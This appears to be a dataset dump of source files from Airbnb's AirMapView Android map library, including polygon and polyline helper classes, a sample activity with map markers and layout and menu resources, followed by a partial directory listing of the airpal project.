"distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-5.5-bin.zip\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n", "library\\src\\main\\java\\com\\airbnb\\android\\airmapview\\AirMapPolygon.java": "package com.airbnb.android.airmapview;\n\nimport android.graphics.Color;\n\nimport androidx.annotation.NonNull;\nimport com.google.android.gms.maps.model.LatLng;\nimport com.google.android.gms.maps.model.Polygon;\nimport com.google.android.gms.maps.model.PolygonOptions;\n\npublic class AirMapPolygon<T> {\n\n private static final int STROKE_WIDTH = 1;\n private static final int STROKE_COLOR = Color.BLUE;\n\n private final T object;\n private final long id;\n private final PolygonOptions polygonOptions;\n private Polygon googlePolygon;\n\n public AirMapPolygon(T object, long id, PolygonOptions polygonOptions) {\n this.object = object;\n this.id = id;\n this.polygonOptions = polygonOptions;\n }\n\n public T getObject() {\n return object;\n }\n\n public long getId() {\n return id;\n }\n\n public PolygonOptions getPolygonOptions() {\n return polygonOptions;\n }\n\n public Polygon getGooglePolygon() {\n return googlePolygon;\n }\n\n public void setGooglePolygon(Polygon googlePolygon) {\n this.googlePolygon = googlePolygon;\n }\n\n public static class Builder<T> {\n private final PolygonOptions polygonOptions = new PolygonOptions();\n private T object;\n private long id;\n\n public Builder() {\n polygonOptions.strokeWidth(STROKE_WIDTH);\n polygonOptions.strokeColor(STROKE_COLOR);\n }\n\n public Builder<T> object(T object) {\n this.object = object;\n return this;\n }\n\n public Builder<T> id(long id) {\n this.id = id;\n return this;\n }\n\n public Builder<T> strokeColor(int color) {\n polygonOptions.strokeColor(color);\n return this;\n }\n\n public Builder<T> strokeWidth(float width) {\n this.polygonOptions.strokeWidth(width);\n return this;\n }\n\n public Builder<T> fillColor(int color) {\n this.polygonOptions.fillColor(color);\n return this;\n }\n\n public Builder<T> geodesic(boolean geodesic) {\n this.polygonOptions.geodesic(geodesic);\n return this;\n }\n\n public Builder<T> zIndex(float zIndex) {\n this.polygonOptions.zIndex(zIndex);\n return this;\n }\n\n public Builder<T> visible(boolean visible) {\n this.polygonOptions.visible(visible);\n return this;\n }\n\n public Builder<T> add(LatLng point) {\n this.polygonOptions.add(point);\n return this;\n }\n\n public Builder<T> add(LatLng... points) {\n this.polygonOptions.add(points);\n return this;\n }\n\n public Builder<T> addAll(@NonNull Iterable<LatLng> points) {\n this.polygonOptions.addAll(points);\n return this;\n }\n\n public Builder<T> addHole(@NonNull Iterable<LatLng> points) {\n this.polygonOptions.addHole(points);\n return this;\n }\n\n public AirMapPolygon<T> build() {\n return new AirMapPolygon<>(object, id, polygonOptions);\n }\n }\n}\n", "library\\src\\main\\java\\com\\airbnb\\android\\airmapview\\AirMapPolyline.java": "package com.airbnb.android.airmapview;\n\nimport android.graphics.Color;\n\nimport com.google.android.gms.maps.GoogleMap;\nimport com.google.android.gms.maps.model.LatLng;\nimport com.google.android.gms.maps.model.Polyline;\nimport com.google.android.gms.maps.model.PolylineOptions;\n\nimport java.util.List;\n\n/**\n * Helper class for keeping record of data needed to display a polyline, as well as an optional\n * object T associated with the polyline.\n */\npublic class AirMapPolyline<T> {\n\n private static final int STROKE_WIDTH = 1;\n private static final int STROKE_COLOR = Color.BLUE;\n\n private T object;\n private int strokeWidth;\n private long id;\n private List<LatLng> points;\n private String title;\n private int strokeColor;\n private Polyline googlePolyline;\n\n public AirMapPolyline(List<LatLng> points, long id) {\n this(null, points, id);\n }\n\n public AirMapPolyline(T object, List<LatLng> points, long id) {\n this(object, points, id, STROKE_WIDTH, STROKE_COLOR);\n }\n\n public AirMapPolyline(T object, List<LatLng> points, long id, int strokeWidth, int strokeColor) {\n this.object = object;\n this.points = points;\n this.id = id;\n this.strokeWidth = strokeWidth;\n this.strokeColor = strokeColor;\n }\n\n public long getId() {\n return id;\n }\n\n public void setId(long id) {\n this.id = id;\n }\n\n public List<LatLng> getPoints() {\n return points;\n }\n\n public void setPoints(List<LatLng> points) {\n this.points = points;\n }\n\n public String getTitle() {\n return title;\n }\n\n public void setTitle(String title) {\n this.title = title;\n }\n\n public T getObject() {\n return object;\n }\n\n public void setObject(T object) {\n this.object = object;\n }\n\n public int getStrokeWidth() {\n return strokeWidth;\n }\n\n public int getStrokeColor() {\n return strokeColor;\n }\n\n /**\n * Add this polyline to the given {@link GoogleMap} instance\n *\n * @param googleMap the {@link GoogleMap} instance to which the polyline will be added\n */\n public void addToGoogleMap(GoogleMap googleMap) {\n // add the polyline and keep a reference so it can be removed\n googlePolyline = googleMap.addPolyline(new PolylineOptions()\n .addAll(points)\n .width(strokeWidth)\n .color(strokeColor));\n }\n\n /**\n * Remove this polyline from a GoogleMap (if it was added).\n *\n * @return true if the {@link Polyline} was removed\n */\n public boolean removeFromGoogleMap() {\n if (googlePolyline != null) {\n googlePolyline.remove();\n return true;\n }\n return false;\n }\n}\n", "sample\\src\\main\\java\\com\\airbnb\\airmapview\\sample\\MainActivity.java": "package com.airbnb.airmapview.sample;\n\nimport android.graphics.Bitmap;\nimport android.graphics.Point;\nimport android.os.Bundle;\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.recyclerview.widget.LinearLayoutManager;\nimport androidx.recyclerview.widget.RecyclerView;\nimport android.util.Log;\nimport android.view.Menu;\nimport android.view.MenuItem;\nimport android.view.View;\nimport android.widget.Button;\nimport android.widget.Toast;\n\nimport com.airbnb.android.airmapview.AirMapGeoJsonLayer;\nimport com.airbnb.android.airmapview.AirMapInterface;\nimport com.airbnb.android.airmapview.AirMapMarker;\nimport com.airbnb.android.airmapview.AirMapPolygon;\nimport com.airbnb.android.airmapview.AirMapPolyline;\nimport com.airbnb.android.airmapview.AirMapView;\nimport com.airbnb.android.airmapview.AirMapViewTypes;\nimport com.airbnb.android.airmapview.DefaultAirMapViewBuilder;\nimport com.airbnb.android.airmapview.GoogleChinaMapType;\nimport com.airbnb.android.airmapview.LeafletBaiduMapType;\nimport com.airbnb.android.airmapview.LeafletGaodeMapType;\nimport com.airbnb.android.airmapview.LeafletGoogleChinaMapType;\nimport com.airbnb.android.airmapview.LeafletGoogleMapType;\nimport com.airbnb.android.airmapview.LeafletWebViewMapFragment;\nimport com.airbnb.android.airmapview.MapType;\nimport com.airbnb.android.airmapview.WebAirMapViewBuilder;\nimport com.airbnb.android.airmapview.listeners.OnCameraChangeListener;\nimport com.airbnb.android.airmapview.listeners.OnCameraMoveListener;\nimport com.airbnb.android.airmapview.listeners.OnInfoWindowClickListener;\nimport com.airbnb.android.airmapview.listeners.OnLatLngScreenLocationCallback;\nimport com.airbnb.android.airmapview.listeners.OnMapClickListener;\nimport com.airbnb.android.airmapview.listeners.OnMapInitializedListener;\nimport com.airbnb.android.airmapview.listeners.OnMapMarkerClickListener;\nimport com.airbnb.android.airmapview.listeners.OnSnapshotReadyListener;\nimport com.google.android.gms.maps.model.LatLng;\n\nimport org.json.JSONException;\n\nimport java.util.Arrays;\n\npublic class MainActivity extends AppCompatActivity\n implements OnCameraChangeListener, OnMapInitializedListener,\n OnMapClickListener, OnCameraMoveListener, OnMapMarkerClickListener,\n OnInfoWindowClickListener, OnLatLngScreenLocationCallback {\n\n private final LogsAdapter adapter = new LogsAdapter();\n\n private static final String TAG = MainActivity.class.getSimpleName();\n private AirMapView map;\n private DefaultAirMapViewBuilder mapViewBuilder;\n private RecyclerView logsRecyclerView;\n private View bottomToolsView;\n\n @Override protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n\n mapViewBuilder = new DefaultAirMapViewBuilder(this);\n map = findViewById(R.id.map);\n bottomToolsView = findViewById(R.id.bottom_tools);\n logsRecyclerView = findViewById(R.id.logs);\n ((LinearLayoutManager) logsRecyclerView.getLayoutManager()).setReverseLayout(true);\n logsRecyclerView.setAdapter(adapter);\n Button btnMapTypeNormal = findViewById(R.id.btnMapTypeNormal);\n Button btnMapTypeSattelite = findViewById(R.id.btnMapTypeSattelite);\n Button btnMapTypeTerrain = findViewById(R.id.btnMapTypeTerrain);\n\n btnMapTypeNormal.setOnClickListener(new View.OnClickListener() {\n @Override public void onClick(@NonNull View v) {\n map.setMapType(MapType.MAP_TYPE_NORMAL);\n }\n });\n\n btnMapTypeSattelite.setOnClickListener(new View.OnClickListener() {\n @Override public void onClick(@NonNull View v) {\n map.setMapType(MapType.MAP_TYPE_SATELLITE);\n }\n });\n\n btnMapTypeTerrain.setOnClickListener(new View.OnClickListener() {\n @Override public void onClick(@NonNull View v) {\n map.setMapType(MapType.MAP_TYPE_TERRAIN);\n }\n });\n\n map.setOnMapClickListener(this);\n map.setOnCameraChangeListener(this);\n map.setOnCameraMoveListener(this);\n map.setOnMarkerClickListener(this);\n map.setOnMapInitializedListener(this);\n map.setOnInfoWindowClickListener(this);\n map.initialize(getSupportFragmentManager());\n }\n\n @Override public boolean onCreateOptionsMenu(Menu menu) {\n // Inflate the menu; this adds items to the action bar if it is present.\n getMenuInflater().inflate(R.menu.menu_main, menu);\n return true;\n }\n\n @Override public boolean onOptionsItemSelected(MenuItem item) {\n int id = item.getItemId();\n\n AirMapInterface airMapInterface = null;\n\n switch (id) {\n case R.id.action_native_map:\n try {\n airMapInterface = mapViewBuilder.builder(AirMapViewTypes.NATIVE).build();\n } catch (UnsupportedOperationException e) {\n Toast.makeText(this, \"Sorry, native Google Maps are not supported by this device. \" +\n \"Please make sure you have Google Play Services installed.\",\n Toast.LENGTH_SHORT).show();\n }\n break;\n case R.id.action_mapbox_map:\n airMapInterface = mapViewBuilder.builder(AirMapViewTypes.WEB).build();\n break;\n case R.id.action_google_web_map:\n // force Google Web maps since otherwise AirMapViewTypes.WEB returns MapBox by default.\n airMapInterface = new WebAirMapViewBuilder().build();\n break;\n case R.id.action_google_china_web_map:\n airMapInterface = new WebAirMapViewBuilder().withOptions(new GoogleChinaMapType()).build();\n break;\n case R.id.action_leaflet_google_web_map:\n airMapInterface = new WebAirMapViewBuilder().withOptions(new LeafletGoogleMapType()).build();\n break;\n case R.id.action_leaflet_google_china_web_map:\n airMapInterface = new WebAirMapViewBuilder().withOptions(new LeafletGoogleChinaMapType()).build();\n break;\n case R.id.action_baidu_web_map:\n airMapInterface = new WebAirMapViewBuilder().withOptions(new LeafletBaiduMapType()).build();\n break;\n case R.id.action_gaode_web_map:\n airMapInterface = new WebAirMapViewBuilder().withOptions(new LeafletGaodeMapType()).build();\n break;\n case R.id.action_clear_logs:\n adapter.clearLogs();\n break;\n case R.id.add_geojson_layer:\n // Draws a layer on top of Australia\n String geoJsonString = Util.readFromRawResource(this, R.raw.google);\n AirMapGeoJsonLayer layer = new AirMapGeoJsonLayer.Builder(geoJsonString)\n .strokeColor(getResources().getColor(android.R.color.holo_green_dark))\n .strokeWidth(10)\n .fillColor(getResources().getColor(android.R.color.holo_green_light))\n .build();\n try {\n map.getMapInterface().setGeoJsonLayer(layer);\n } catch (JSONException e) {\n Log.e(TAG, \"Failed to add GeoJson layer\", e);\n }\n\n break;\n case R.id.remove_geojson_layer:\n map.getMapInterface().clearGeoJsonLayer();\n break;\n case R.id.take_snapshot:\n map.getMapInterface().getSnapshot(new OnSnapshotReadyListener() {\n @Override\n public void onSnapshotReady(@Nullable Bitmap bitmap) {\n if (bitmap != null) {\n appendBitmap(bitmap);\n } else {\n appendLog(\"Null bitmap\");\n }\n }\n });\n break;\n case R.id.enable_location:\n map.setMyLocationEnabled(true);\n break;\n case R.id.disable_location:\n map.setMyLocationEnabled(false);\n case R.id.add_padding:\n map.setPadding(0, 0, 0, bottomToolsView.getHeight());\n break;\n case R.id.center_map: {\n LatLng wfcLatLng = new LatLng(39.918786, 116.459273);\n map.setCenter(wfcLatLng);\n break;\n }\n case R.id.animateCenter: {\n LatLng wfcLatLng = new LatLng(39.918786, 116.459273);\n map.animateCenter(wfcLatLng);\n break;\n }\n case R.id.zoom:\n map.setZoom(15);\n break;\n case R.id.animateCenterZoom: {\n LatLng wfcLatLng = new LatLng(39.918786, 116.459273);\n map.animateCenterZoom(wfcLatLng, 15);\n break;\n }\n default:\n break;\n }\n\n if (airMapInterface != null) {\n map.initialize(getSupportFragmentManager(), airMapInterface);\n }\n\n return super.onOptionsItemSelected(item);\n }\n\n @Override public void onCameraChanged(LatLng latLng, int zoom) {\n appendLog(\"Map onCameraChanged triggered with lat: \" + latLng.latitude + \", lng: \"\n + latLng.longitude);\n }\n\n @Override public void onMapInitialized() {\n appendLog(\"Map onMapInitialized triggered\");\n if (map.getMapInterface() instanceof LeafletWebViewMapFragment) {\n // Baidu map is unavailable in the US, so we show points in China.\n final LatLng wfcLatLng = new LatLng(39.918786, 116.459273);\n addMarker(\"WFC\", wfcLatLng, 1);\n addMarker(\"Chaoyang Gate\", new LatLng(39.923823, 116.433666), 2);\n String image = \"<img width=\\\"25\\\" height=\\\"41\\\" src=\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAABSCAMAAAAhFXfZAAAC91BMVEVMaXEzeak2f7I4g7g3g7cua5gzeKg8hJo3grY4g7c3grU0gLI2frE0daAubJc2gbQwd6QzeKk2gLMtd5sxdKIua5g1frA2f7IydaM0e6w2fq41fK01eqo3grgubJgta5cxdKI1f7AydaQydaMxc6EubJgvbJkwcZ4ubZkwcJwubZgubJcydqUydKIxapgubJctbJcubZcubJcvbJYubJcvbZkubJctbJctbZcubJg2f7AubJcrbZcubJcubJcua5g3grY0fq8ubJcubJdEkdEwhsw6i88vhswuhcsuhMtBjMgthMsrg8srgss6is8qgcs8i9A9iMYtg8spgcoogMo7hcMngMonf8olfso4gr8kfck5iM8jfMk4iM8he8k1fro7itAgesk2hs8eecgzfLcofssdeMg0hc4cd8g2hcsxeLQbdsgZdcgxeLImfcszhM0vda4xgckzhM4xg84wf8Yxgs4udKsvfcQucqhUndROmdM1fK0wcZ8vb5w0eqpQm9MzeKhXoNVcpdYydKNWn9VZotVKltJFjsIwcJ1Rms9OlslLmtH///8+kc9epdYzd6dbo9VHkMM2f7FHmNBClM8ydqVcpNY9hro3gLM9hLczealQmcw3fa46f7A8gLMxc6I3eagyc6FIldJMl9JSnNRSntNNl9JPnNJFi75UnM9ZodVKksg8kM45jc09e6ZHltFBk883gbRBh7pDk9EwcaBzn784g7dKkcY2i81Om9M7j85Llc81is09g7Q4grY/j9A0eqxKmdFFltBEjcXf6fFImdBCiLxJl9FGlNFBi78yiMxVndEvbpo6js74+vx+psPP3+o/ks5HkcpGmNCjwdZCkNDM3ehYoNJEls+lxNkxh8xHks0+jdC1zd5Lg6r+/v/H2ufz9/o3jM3t8/edvdM/k89Th61OiLBSjbZklbaTt9BfptdjmL1AicBHj8hGk9FAgK1dkLNTjLRekrdClc/k7fM0icy0y9tgp9c4jc2NtM9Dlc8zicxeXZn3AAAAQ3RSTlMAHDdTb4yPA+LtnEQmC4L2EmHqB7XA0d0sr478x4/Yd5i1zOfyPkf1sLVq4Nh3FvjxopQ2/STNuFzUwFIwxKaejILpIBEV9wAABhVJREFUeF6s1NdyFEcY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\\\"/>\";\n addMarker(\"Dongzhi Gate\", new LatLng(39.941823, 116.426319), 3, image, 25, 41);\n map.animateCenterZoom(wfcLatLng, 11);\n\n // Add Polylines\n LatLng[] latLngs = {\n new LatLng(39.918786, 116.459273),\n new LatLng(39.923823, 116.433666),\n new LatLng(39.919635, 116.448831) };\n\n map.addPolyline(new AirMapPolyline(Arrays.asList(latLngs), 5));\n\n LatLng[] polygonLatLngs = {\n new LatLng(39.902896, 116.42792),\n new LatLng(39.902896, 116.43892),\n new LatLng(39.913896, 116.43892),\n new LatLng(39.913896, 116.42792)\n };\n map.addPolygon(new AirMapPolygon.Builder().add(polygonLatLngs).strokeWidth(3.f).build());\n\n // Add Circle\n map.drawCircle(new LatLng(39.919635, 116.448831), 1000);\n } else {\n final LatLng airbnbLatLng = new LatLng(37.771883, -122.405224);\n addMarker(\"Airbnb HQ\", airbnbLatLng, 1);\n addMarker(\"Performance Bikes\", new LatLng(37.773975, -122.40205), 2);\n addMarker(\"REI\", new LatLng(37.772127, -122.404411), 3);\n addMarker(\"Mapbox\", new LatLng(37.77572, -122.41354), 4);\n map.animateCenterZoom(airbnbLatLng, 10);\n\n // Add Polylines\n LatLng[] latLngs = {\n new LatLng(37.77977, -122.38937),\n new LatLng(37.77811, -122.39160),\n new LatLng(37.77787, -122.38864) };\n\n map.addPolyline(new AirMapPolyline(Arrays.asList(latLngs), 5));\n\n // Add Polygons\n LatLng[] polygonLatLngs = {\n new LatLng(37.784, -122.405),\n new LatLng(37.784, -122.406),\n new LatLng(37.785, -122.406),\n new LatLng(37.785, -122.405)\n };\n map.addPolygon(new AirMapPolygon.Builder().add(polygonLatLngs).strokeWidth(3.f).build());\n\n // Add Circle\n map.drawCircle(new LatLng(37.78443, -122.40805), 1000);\n\n // enable my location\n map.setMyLocationEnabled(false);\n }\n }\n\n private void addMarker(String title, LatLng latLng, int id) {\n addMarker(title, latLng, id, null, 0, 0);\n }\n\n private void addMarker(String title, LatLng latLng, int id,\n String divIconHtml, int iconWidth, int iconHeight) {\n map.addMarker(new AirMapMarker.Builder()\n .id(id)\n .position(latLng)\n .title(title)\n .iconId(R.mipmap.icon_location_pin)\n .divIconHtml(divIconHtml)\n .divIconWidth(iconWidth)\n .divIconHeight(iconHeight)\n .build());\n }\n\n @Override public void onMapClick(LatLng latLng) {\n if (latLng != null) {\n appendLog(\n \"Map onMapClick triggered with lat: \" + latLng.latitude + \", lng: \"\n + latLng.longitude);\n\n map.getMapInterface().getScreenLocation(latLng, this);\n } else {\n appendLog(\"Map onMapClick triggered with null latLng\");\n }\n }\n\n @Override public void onCameraMove() {\n appendLog(\"Map onCameraMove triggered\");\n }\n\n private void appendLog(String msg) {\n adapter.addString(msg);\n logsRecyclerView.smoothScrollToPosition(adapter.getItemCount() - 1);\n }\n\n private void appendBitmap(Bitmap bitmap) {\n adapter.addBitmap(bitmap);\n logsRecyclerView.smoothScrollToPosition(adapter.getItemCount() - 1);\n }\n\n @Override public boolean onMapMarkerClick(AirMapMarker<?> airMarker) {\n appendLog(\"Map onMapMarkerClick triggered with id \" + airMarker.getId());\n return false;\n }\n\n @Override public void onInfoWindowClick(AirMapMarker<?> airMarker) {\n appendLog(\"Map onInfoWindowClick triggered with id \" + airMarker.getId());\n }\n\n @Override public void onLatLngScreenLocationReady(Point point) {\n appendLog(\"LatLng location on screen (x,y): (\" + point.x + \",\" + point.y + \")\");\n }\n}\n", "sample\\src\\main\\res\\layout\\activity_main.xml": "<LinearLayout\n xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n android:orientation=\"vertical\"\n tools:context=\".MainActivity\">\n\n <FrameLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"0dp\"\n android:layout_weight=\"1\">\n\n <com.airbnb.android.airmapview.AirMapView\n android:id=\"@+id/map\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\" />\n\n <LinearLayout\n android:id=\"@+id/bottom_tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:layout_gravity=\"bottom\">\n\n <LinearLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\">\n <Button\n android:id=\"@+id/btnMapTypeNormal\"\n style=\"?android:attr/buttonBarButtonStyle\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Normal\" />\n\n <Button\n android:id=\"@+id/btnMapTypeSattelite\"\n style=\"?android:attr/buttonBarButtonStyle\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Satellite\" />\n\n <Button\n android:id=\"@+id/btnMapTypeTerrain\"\n style=\"?android:attr/buttonBarButtonStyle\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Terrain\" />\n\n </LinearLayout>\n\n <androidx.recyclerview.widget.RecyclerView\n android:id=\"@+id/logs\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"200dp\"\n android:background=\"@android:color/white\"\n app:layoutManager=\"LinearLayoutManager\" />\n\n </LinearLayout>\n\n </FrameLayout>\n\n\n\n</LinearLayout>\n", "sample\\src\\main\\res\\menu\\menu_main.xml": "<menu xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n tools:context=\".MainActivity\">\n\n <item android:id=\"@+id/action_native_map\"\n android:title=\"Use Native Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_google_web_map\"\n android:title=\"Use Google Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_google_china_web_map\"\n android:title=\"Use Google China Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_leaflet_google_web_map\"\n android:title=\"Use Leaflet Google Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_leaflet_google_china_web_map\"\n android:title=\"Use Leaflet Google China Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_baidu_web_map\"\n android:title=\"Use Baidu Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_gaode_web_map\"\n android:title=\"Use Gaode Web Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_mapbox_map\"\n android:title=\"Use MapBox Map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/action_clear_logs\"\n android:title=\"Clear logs\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/add_geojson_layer\"\n android:title=\"Add GeoJson layer\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/remove_geojson_layer\"\n android:title=\"Remove GeoJson layer\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/take_snapshot\"\n android:title=\"Take snapshot\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/enable_location\"\n android:title=\"Enable Location\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/disable_location\"\n android:title=\"Disable Location\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/add_padding\"\n android:title=\"Add Padding\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/center_map\"\n android:title=\"Center map\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/animateCenter\"\n android:title=\"Animate Center\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/zoom\"\n android:title=\"Zoom\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n <item android:id=\"@+id/animateCenterZoom\"\n android:title=\"Animate Center Zoom\"\n android:orderInCategory=\"100\"\n app:showAsAction=\"never\"/>\n\n</menu>\n\n"} | null |
airpal | {"type": "directory", "name": "airpal", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": "USER_ACCOUNTS.md"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "INTHEWILD.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "reference.example.yml"}, {"type": "directory", "name": "screenshots", "children": []}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "airpal"}]}, {"type": "file", "name": "settings.gradle"}, {"type": "file", "name": "shiro_test_user.ini"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "airlift", "children": [{"type": "directory", "name": "http", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "ForQueryInfoClient.java"}]}]}]}, {"type": "directory", "name": "airpal", "children": [{"type": "file", "name": "AirpalApplication.java"}, {"type": "file", "name": "AirpalApplicationBase.java"}, {"type": "file", "name": "AirpalConfiguration.java"}, {"type": "directory", "name": "api", "children": [{"type": "directory", "name": "event", "children": [{"type": "file", "name": "JobEvent.java"}, {"type": "file", "name": "JobFinishedEvent.java"}, {"type": "file", "name": "JobOutputPersistenceEvent.java"}, {"type": "file", "name": "JobUpdateEvent.java"}]}, {"type": "file", "name": "EvictingDeque.java"}, {"type": "file", "name": "ExecutionRequest.java"}, {"type": "file", "name": "Job.java"}, {"type": "file", "name": "JobState.java"}, {"type": "directory", "name": "output", "children": [{"type": "directory", "name": "builders", "children": [{"type": "file", "name": "CsvOutputBuilder.java"}, {"type": "file", "name": "FileTooLargeException.java"}, {"type": "file", "name": "HiveTableOutputBuilder.java"}, {"type": "file", "name": "JobOutputBuilder.java"}, {"type": "file", "name": "OutputBuilderFactory.java"}]}, {"type": "file", "name": "CSVPersistentOutput.java"}, {"type": "file", "name": "HiveTablePersistentOutput.java"}, {"type": "file", "name": "InvalidQueryException.java"}, 